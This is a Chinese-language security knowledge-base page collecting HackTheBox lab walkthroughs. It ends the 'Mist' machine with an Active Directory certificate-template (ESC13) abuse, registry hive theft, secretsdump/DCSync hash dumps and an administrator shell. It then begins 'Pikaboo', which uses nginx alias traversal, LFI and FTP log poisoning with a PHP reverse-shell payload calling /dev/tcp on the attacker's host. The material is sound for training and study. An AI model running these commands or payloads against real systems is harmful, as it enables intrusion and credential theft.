 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Mist8.png)

#### 更新Certipy

在Certipy上也有一个pull请求[Adds support for ESC13 #196](https://github.com/ly4k/Certipy/pull/196)，为ESC13添加检测逻辑。运行此版本确实找到了易受攻击的ESC13模板：

``` bash
~/hackthebox/machine/mist proxychains -q certipy find -vulnerable -u svc_cabackup -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -dc-ip 192.168.100.100 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 2 OIDs linked to templates
[*] Trying to get CA configuration for 'mist-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'mist-DC01-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'mist-DC01-CA' via RRP
[*] Got CA configuration for 'mist-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : mist-DC01-CA
    DNS Name                            : DC01.mist.htb
    Certificate Subject                 : CN=mist-DC01-CA, DC=mist, DC=htb
    Certificate Serial Number           : 3BF0F0DDF3306D8E463B218B7DB190F0
    Certificate Validity Start          : 2024-02-15 15:07:23+00:00
    Certificate Validity End            : 2123-02-15 15:17:23+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MIST.HTB\Administrators
      Access Rights
        ManageCertificates              : MIST.HTB\Administrators
                                          MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
        ManageCa                        : MIST.HTB\Administrators
                                          MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
        Enroll                          : MIST.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : ManagerAuthentication
    Display Name                        : ManagerAuthentication
    Certificate Authorities             : mist-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireUpn
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Server Authentication
                                          Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Issuance Policies                   : 1.3.6.1.4.1.311.21.8.5839708.6945465.11485352.4768789.12323346.226.6538420.14514029
    Linked Groups                       : CN=Certificate Managers,CN=Users,DC=mist,DC=htb
    Permissions
      Enrollment Permissions
        Enrollment Rights               : MIST.HTB\Certificate Services
                                          MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : MIST.HTB\Administrator
        Write Owner Principals          : MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
                                          MIST.HTB\Administrator
        Write Dacl Principals           : MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
                                          MIST.HTB\Administrator
        Write Property Principals       : MIST.HTB\Domain Admins
                                          MIST.HTB\Enterprise Admins
                                          MIST.HTB\Administrator
    [!] Vulnerabilities
      ESC13                             : 'MIST.HTB\\Certificate Services' can enroll, template allows client authentication and issuance policy is linked to group ['CN=Certificate Managers,CN=Users,DC=mist,DC=htb']
```

注意下面这一行：

``` bash
Minimum RSA Key Length              : 4096
```

#### Exploit
#### Overview

 - 使用ManagerAuthentication模板获取svc_cabackup证书，以获得对certificate Managers组的访问权。
 - 使用该证书获取Kerberos票据。
 - 使用BackupSvcAuthentication模板（现在可以作为certificate Managers的成员访问它）获取svc_cabackup证书，以获得对ServiceAccounts组的访问权。
 - 使用该证书获取Kerberos票据。
 - 使用Kerberos票据对DC01进行身份验证，并使用Backup Operators特权退出注册表组。
 - 本地secretsdump.py为DC01提取哈希值。
 - 使用管理员NTLM在DC01上获取shell。

虽然上面我使用certipy的分支来识别ESC13[Certipy ESC13](https://github.com/sploutchy/Certipy/tree/main)，但当前版本可以执行利用它所需的所有步骤。

#### 访问证书管理器组

首先使用ManagerAuthentication模板获取svc_cabackup的证书。

``` bash
~/hackthebox/machine/mist proxychains -q certipy req -u svc_cabackup -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -ca mist-DC01-CA -template ManagerAuthentication -dc-ip 192.168.100.100 -dns 192.168.100.100 -key-size 4096
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'svc_cabackup@mist.htb'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'
```

现在，使用该证书获取Kerberos票据：

``` bash
~/hackthebox/machine/mist proxychains -q certipy auth -pfx ./svc_cabackup.pfx -kirbi -dc-ip 192.168.100.100
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: svc_cabackup@mist.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved Kirbi file to 'svc_cabackup.kirbi'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Got hash for 'svc_cabackup@mist.htb': aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64
```

将该票据转换为可以在Linux上使用的缓存格式：

``` bash
~/hackthebox/machine/mist ticketConverter.py svc_cabackup.kirbi svc_cabackup.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
```

#### 访问ServiceAccounts组

使用Kerberos 配合BackupSvcAuthentication template进行认证

``` bash
~/hackthebox/machine/mist KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -u svc_cabackup -k -no-pass -ca mist-DC01-CA -template BackupSvcAuthentication -dc-ip 192.168.100.100 -dns 192.168.100.100 -key-size 4096 -target DC01.mist.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 64
[*] Got certificate with UPN 'svc_cabackup@mist.htb'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'
```

使用certipy auth来获得一张ticket。

``` bash
~/hackthebox/machine/mist proxychains -q certipy auth -pfx ./svc_cabackup.pfx -kirbi -dc-ip 192.168.100.100
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: svc_cabackup@mist.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved Kirbi file to 'svc_cabackup.kirbi'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Got hash for 'svc_cabackup@mist.htb': aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64
```

ticketConverter.py转换它：

``` bash
~/hackthebox/machine/mist ticketConverter.py svc_cabackup.kirbi svc_cabackup.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
```

#### Recover Hashes
#### Exfil Reg Hives

[Impacket](https://github.com/SecureAuthCorp/impacket)有一个reg.py示例脚本，其中有一个备份子命令，可将HKLM\SAM，HKLM\SYSTEM和HKLM\SECURITY保存到系统上的指定位置。这里的一种常用技术是将hive直接保存到我控制的SMB共享中，但是代理链上的网络连接很慢而且很挑剔，所以最好将它们保存到C:\programdata\：

``` bash
~/hackthebox/machine/mist KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py -k -no-pass mist.htb/svc_cabackup@dc01.mist.htb backup -o '\programdata'
/usr/local/bin/reg.py:195: SyntaxWarning: invalid escape sequence '\S'
  for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]:
/usr/local/bin/reg.py:195: SyntaxWarning: invalid escape sequence '\S'
  for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]:
/usr/local/bin/reg.py:195: SyntaxWarning: invalid escape sequence '\S'
  for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]:
/usr/local/bin/reg.py:220: SyntaxWarning: invalid escape sequence '\%'
  outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey)
/usr/local/bin/reg.py:221: SyntaxWarning: invalid escape sequence '\S'
  logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)" % keyName)
/usr/local/bin/reg.py:597: SyntaxWarning: invalid escape sequence '\s'
  save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to')
/usr/local/bin/reg.py:600: SyntaxWarning: invalid escape sequence '\S'
  backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY to a specified file.')
/usr/local/bin/reg.py:601: SyntaxWarning: invalid escape sequence '\s'
  backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True,
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \programdata\SAM.save
[*] Saved HKLM\SYSTEM to \programdata\SYSTEM.save
[*] Saved HKLM\SECURITY to \programdata\SECURITY.save
```

``` bash
*Evil-WinRM* PS C:\programdata> ls *.save


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/27/2024   2:04 AM          28672 SAM.save
-a----        10/27/2024   2:04 AM          36864 SECURITY.save
-a----        10/27/2024   2:04 AM       18210816 SYSTEM.save
```

然后下载这3个文件

``` bash
*Evil-WinRM* PS C:\programdata> download SAM.save

Info: Downloading C:\programdata\SAM.save to SAM.save

Info: Download successful!
*Evil-WinRM* PS C:\programdata> download SECURITY.save

Info: Downloading C:\programdata\SECURITY.save to SECURITY.save

Info: Download successful!
*Evil-WinRM* PS C:\programdata> download SYSTEM.save

Info: Downloading C:\programdata\SYSTEM.save to SYSTEM.save

Info: Download successful!
```

#### secretsdump

Secretsdump.py将从这些hives中转储hash：

``` bash
~/hackthebox/machine/mist secretsdump.py -sam SAM.save -security SECURITY.save -system SYSTEM.save local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x47c7c97d3b39b2a20477a77d25153da5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e121bd371bd4bbaca21175947013dd7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:c68cb851aa6312ad86b532db8103025cb80e69025bd381860316ba55b056b9e1248e7817ab7fc5b23c232a5bd2aa5b8515041dc3dc47fa4e2d4c34c7db403c7edc4418cf22a1b8c2c544c464ec9fedefb1dcdbebff68c6e9a103f67f3032b68e7770b4e8e22ef05b29d002cc0e22ad4873a11ce9bac40785dcc566d38bb3e2f0d825d2f4011b566ccefdc55f098c3b76affb9a73c6212f69002655dd7b774673bf8eecaccd517e9550d88e33677ceba96f4bc273e4999bbd518673343c0a15804c43fde897c9bd579830258b630897e79d93d0c22edc2f933c7ec22c49514a2edabd5d546346ce55a0833fc2d8403780
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc78bf46f3d899c3922815140240178912cb2eb59
dpapi_userkey:0xc62a01b328674180712ffa554dd33d468d3ad7b8
[*] NL$KM
 0000   C4 C5 BF 4E A9 98 BD 1B  77 0E 76 A1 D3 09 4C AB   ...N....w.v...L.
 0010   B6 95 C7 55 E8 5E 4C 48  55 90 C0 26 19 85 D4 C2   ...U.^LHU..&....
 0020   67 D7 76 64 01 C8 61 B8  ED D6 D1 AF 17 5E 3D FC   g.vd..a......^=.
 0030   13 E5 4D 46 07 5F 2B 67  D3 53 B7 6F E6 B6 27 31   ..MF._+g.S.o..'1
NL$KM:c4c5bf4ea998bd1b770e76a1d3094cabb695c755e85e4c485590c0261985d4c267d7766401c861b8edd6d1af175e3dfc13e54d46075f2b67d353b76fe6b62731
[*] Cleaning up...
```

#### 二次secretsdump

这些本地哈希值不足以在系统上进行远程登录。然而，DC01$的system hash可以请求hash，因为它使用DCSync协议，而DCSync协议不是远程登录。这意味着可以使用machine hash执行远程secretsdump.py：

``` bash
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260

~/hackthebox/machine/mist proxychains -q secretsdump.py 'DC01$@DC01' -hashes :e768c4cf883a87ba9e96278990292260 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b46782b9365344abdff1a925601e0385:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:298fe98ac9ccf7bd9e91a69b8c02e86f:::
Sharon.Mullard:1109:aad3b435b51404eeaad3b435b51404ee:1f806175e243ed95db55c7f65edbe0a0:::
Brandon.Keywarp:1110:aad3b435b51404eeaad3b435b51404ee:db03d6a77a2205bc1d07082740626cc9:::
Florence.Brown:1111:aad3b435b51404eeaad3b435b51404ee:9ee69a8347d91465627365c41214edd6:::
Jonathan.Clinton:1112:aad3b435b51404eeaad3b435b51404ee:165fbae679924fc539385923aa16e26b:::
Markus.Roheb:1113:aad3b435b51404eeaad3b435b51404ee:74f1d3e2e40af8e3c2837ba96cc9313f:::
Shivangi.Sumpta:1114:aad3b435b51404eeaad3b435b51404ee:4847f5daf1f995f14c262a1afce61230:::
Harry.Beaucorn:1115:aad3b435b51404eeaad3b435b51404ee:a3188ac61d66708a2bd798fa4acca959:::
op_Sharon.Mullard:1122:aad3b435b51404eeaad3b435b51404ee:d25863965a29b64af7959c3d19588dd7:::
op_Markus.Roheb:1123:aad3b435b51404eeaad3b435b51404ee:73e3be0e5508d1ffc3eb57d48b7b8a92:::
svc_smb:1125:aad3b435b51404eeaad3b435b51404ee:1921d81fdbc829e0a176cb4891467185:::
svc_cabackup:1135:aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260:::
MS01$:1108:aad3b435b51404eeaad3b435b51404ee:25231b945c930613cd0a425c85901ad4:::
svc_ca$:1124:aad3b435b51404eeaad3b435b51404ee:07bb1cde74ed154fcec836bc1122bdcc:::
[*] Cleaning up...
```

#### DC01 administrator Shell

``` bash
~/hackthebox/machine/mist proxychains -q evil-winrm -i DC01 -u administrator -H b46782b9365344abdff1a925601e0385

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
mist\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\desktop\root.txt
f8421360aaef98e99fa81ea80fb4a2ca
```

<!-- kb:end mist -->

</details>




# 路径归一化、文件包含与日志内容

路径的字符串表示、Web 映射和文件系统解析可能不同。本章保留 alias、Unicode、PHP 流包装器及日志内容如何影响读取或执行，同时保留源码与实际响应的对照。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/files/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Pikaboo 连接 alias、文件包含、FTP 日志和 Perl open。

Unicode 的 off-by-slash 与归一化发生在不同边界，原输入形式全部保留。

Pluck、W1R3S 与 Sunrise 继续展示私钥、菜单、文件服务与提权分支。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [alias 路径、日志内容与 Perl open](#case-pikaboo) | pikaboo | 路径穿越、LFI、日志注入、Perl |
| [PHP 流包装器与受限菜单](#case-pluck-1) | pluck-1 | LFI、PHP、SSH、Exim |
| [Weborf 读取与 Wine 执行](#case-sunset-sunrise) | sunset-sunrise | 路径穿越、Wine、sudo |
| [Unicode 归一化与路径判断](#case-unicode) | unicode | Unicode、路径穿越、JWT、Python |
| [Cuppa 解析器与系统文件](#case-w1r3s-1-0-1) | W1R3S-1-0-1 | LFI、Cuppa、文件读取 |

<a id="case-pikaboo"></a>

## alias 路径、日志内容与 Perl open

nginx alias 映射的差异暴露文件包含，FTP 日志内容连接执行；后续 LDAP 资料和 Perl open 的调用方式构成独立提权段。

<p class="kb-provenance">来源 pikaboo · 原记录 2021-07-20 · 27 个代码块 · 13 处图片引用</p>

<details class="kb-evidence" id="record-pikaboo">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pikaboo -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	17 Jul 2021
IP:	10.10.10.249

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2022.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

``` bash
# Nmap 7.91 scan initiated Sun Jul 18 01:44:59 2021 as: nmap -vvv -p 21,22,80 -A -v -oN intial.nmap 10.129.185.25
Nmap scan report for pikaboo.htb (10.129.185.25)
Host is up, received syn-ack (0.32s latency).
Scanned at 2021-07-18 01:45:01 EDT for 18s

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAgG6pLBPMmXneLGYurX9xbt6cE2IYdEN9J/ijCVrQbpUyVeTNWNoFnpB8+DIcppOtsJu0X3Iwpfb1eTmuop8q9nNlmyOcOTBHYOYLQwa+G4e90Bsku86ndqs+LU09sjqss5n3XdZoFqunNfZb7EirVVCgI80Lf8F+3XRRIX3ErqNrk2LiaQQY6fcAaNALaQy9ked7KydWDFYizO2dnu8ee2ncdXFMBeVDKGVfrlHAoRFoTmCEljCP1Vsjt69NDBudCGJBgU1MbItTF7DtbNQWGQmw8/9n9Jq8ic/YxOnIKRDDUuuWdE3sy2dPiw0ZVuG7V2GnkkMsGv0Qn3Uq9Qx7
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIJl6Z/XtGXJwSnO57P3CesJfRbmGNra4AuSSHCGUocKchdp3JnNE704lMnocAevDwi9HsAKARxCup18UpPHz+I=
|   256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINyHVcrR4jjhBG5vZsvKRsKO4SnXj3GqeMtwvFSvd4B4
80/tcp open  http    syn-ack nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 01:45:19 2021 -- 1 IP address (1 host up) scanned in 20.01 seconds
```

Looks like we have 3 ports FTP,SSH and WEB.
Let's check FTP for anonymous login.

#### FTP
#### Anonymous Login

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ftp pikaboo.htb 
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> 
```

Looks like we don't have anonymous login so it is a dead end for now until we have some creds for it.

#### Web
#### Visiting website

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2023.jpg)

Not much here there is a contact page but not much there as we cannot submit the form.
Then we have another page called pokatdex aka pokedex(For Pokemon fans like me).
Not necessary for the machine but had to put it in.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2024.jpg)

Just checking for any pokemon in there we are redirected to the link.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2025.jpg)

Here we have the link for the api but looks like it still is under construction so not much from here.
And finally there is admin page with requires basic authentication for logging in.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2026.jpg)

Default creds and bruteforce should not work as this is hardbox so let's think something other than that.

#### Intresting thing

Clicking cancel on the basic authentication dialogue box gives us something intresting.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2027.jpg)

In the image you can see that it is saying it is using apache server on port 81 so there is two intresting thing first is why port 81 instead  of standard port 80 but we will get back to that later and another is nmap says it's nginx not apache so there must some sort of traffic forwarding and reverse proxy running on the backend and now to the port 81 part as nginx is running onport 80 that is why apache is on port 81 as both should be hosted on same machine.

#### Enumeration

Looking for version and exploit it seems to be running latest versions of both apache and nginx but I came across this article which specified that there could be path traversal due to misconfigured alias in nginx.

https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

so I thought to give it a try as it is pretty easy just go to the endpoint which ask for the creds and then use ../ and then go to the desired directory so I decided to give it a try.

#### Fuzzing

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ffuf -u http://pikaboo.htb/admin../FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://pikaboo.htb/admin../FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htaccess               [Status: 403, Size: 274, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 274, Words: 20, Lines: 10]
admin                   [Status: 401, Size: 456, Words: 42, Lines: 15]
javascript              [Status: 301, Size: 314, Words: 20, Lines: 10]
server-status           [Status: 200, Size: 5531, Words: 265, Lines: 110]
:: Progress: [20469/20469] :: Job [1/1] :: 667 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
```

Looks like we have found few directories most of then doesn't look intresting but server-status which is mostly forbidden is now giving 200 status code so let's check that out.

#### Visiting potentially intresting endpoint

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2028.jpg)

we have something like this if you go through the whole you can find this intresting part.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2029.jpg)

Now we know we can access admin_staging endpoint using this trick.
Visting that endpoint it looks like.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2030.jpg)

so let's just see the dashboad so now we finally have admin dashboard or that is what I am assuming at the moment.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2031.jpg)

looks at the url it looks fishy as it just directly calling the php page so there could be potential LFI there.
so let's FUZZ for that as this box doesn't have rate limiting and fuzzing is extremly fast so it would be just a couple of seconds.

#### Fuzzing For LFI

I prefer using LFI-Jhaddix.txt for fuzzing as it has cool variations in the payload with the list of potentially useful files.
You can download this wordlist from here https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-Jhaddix.txt

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ffuf -u http://pikaboo.htb/admin../admin_staging/index.php?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 200 -c -fs 15349

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://pikaboo.htb/admin../admin_staging/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 15349
________________________________________________

/var/log/lastlog        [Status: 200, Size: 307641, Words: 3272, Lines: 368]
/var/log/vsftpd.log     [Status: 200, Size: 19803, Words: 3893, Lines: 414]
/var/log/wtmp           [Status: 200, Size: 166983, Words: 3288, Lines: 559]
:: Progress: [914/914] :: Job [1/1] :: 314 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
```

Looks like we have access to logs so if we would have tried to find this LFI manually we wouldn't be successful until and unless you are genius and remebered that we have FTP also. But let's be honesh everyone tries /etc/passwd to check.

Anyways now we have the FTP log file so the first thing that came to my mind was FTP-log poisoing so if you don't what that is, it is basically just the injecting PHP code in the FTP log and then later make web server execute that piece of code with the help of LFI.

If you wanna learn more about it you can refer below articles.

https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d

https://secnhack.in/ftp-log-poisoning-through-lfi/

#### Exploitation

Looking at the logs we can also find the username but let's go for LFI.
We got the log file 

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2032.jpg)

``` bash
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log
```

Now let's try and get revshell from that.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ftp 10.10.10.249
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:kali): <?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.11/2233 0>&1'"); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> exit
221 Goodbye.
```

and the password can be anything and then just start the nc listerner.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ curl http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log
```

And Boom we have the reverse shell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pikaboo]
└─# nc -lvp 2233                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2233
Ncat: Listening on 0.0.0.0:2233
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:46682.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
```

#### Gaining User
#### Enumeration

Let's check for all the running services on the box

``` bash
www-data@pikaboo:/opt/pokeapi$ ss -tupln
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port                                                                                   
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*                                                                                      
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*       users:(("nginx",pid=601,fd=6),("nginx",pid=600,fd=6))                          
tcp     LISTEN   0        128            127.0.0.1:81            0.0.0.0:*                                                                                      
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*                                                                                      
tcp     LISTEN   0        128            127.0.0.1:389           0.0.0.0:*                                                                                      
tcp     LISTEN   0        128                 [::]:80               [::]:*       users:(("nginx",pid=601,fd=7),("nginx",pid=600,fd=7))                          
tcp     LISTEN   0        32                     *:21                  *:*                                                                                      
tcp     LISTEN   0        128                 [::]:22               [::]:*     
```

Looks like we have LDAP running on the box.
Let's check the home directory for seeing the users/

``` bash
ls /home
pwnmeow
```

Looks like we have only one user.

``` bash
ls -al /home/pwnmeow
total 580
drwxr-xr-x 2 pwnmeow pwnmeow  569344 Jul  6 20:02 .
drwxr-xr-x 3 root    root       4096 May 10 10:26 ..
lrwxrwxrwx 1 root    root          9 Jul  6 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 pwnmeow pwnmeow     220 May 10 10:26 .bash_logout
-rw-r--r-- 1 pwnmeow pwnmeow    3526 May 10 10:26 .bashrc
-rw-r--r-- 1 pwnmeow pwnmeow     807 May 10 10:26 .profile
lrwxrwxrwx 1 root    root          9 Jul  6 20:01 .python_history -> /dev/null
-r--r----- 1 pwnmeow www-data     33 Jul 17 22:06 user.txt
```

An unusual .python_history file is there so let's check it out.
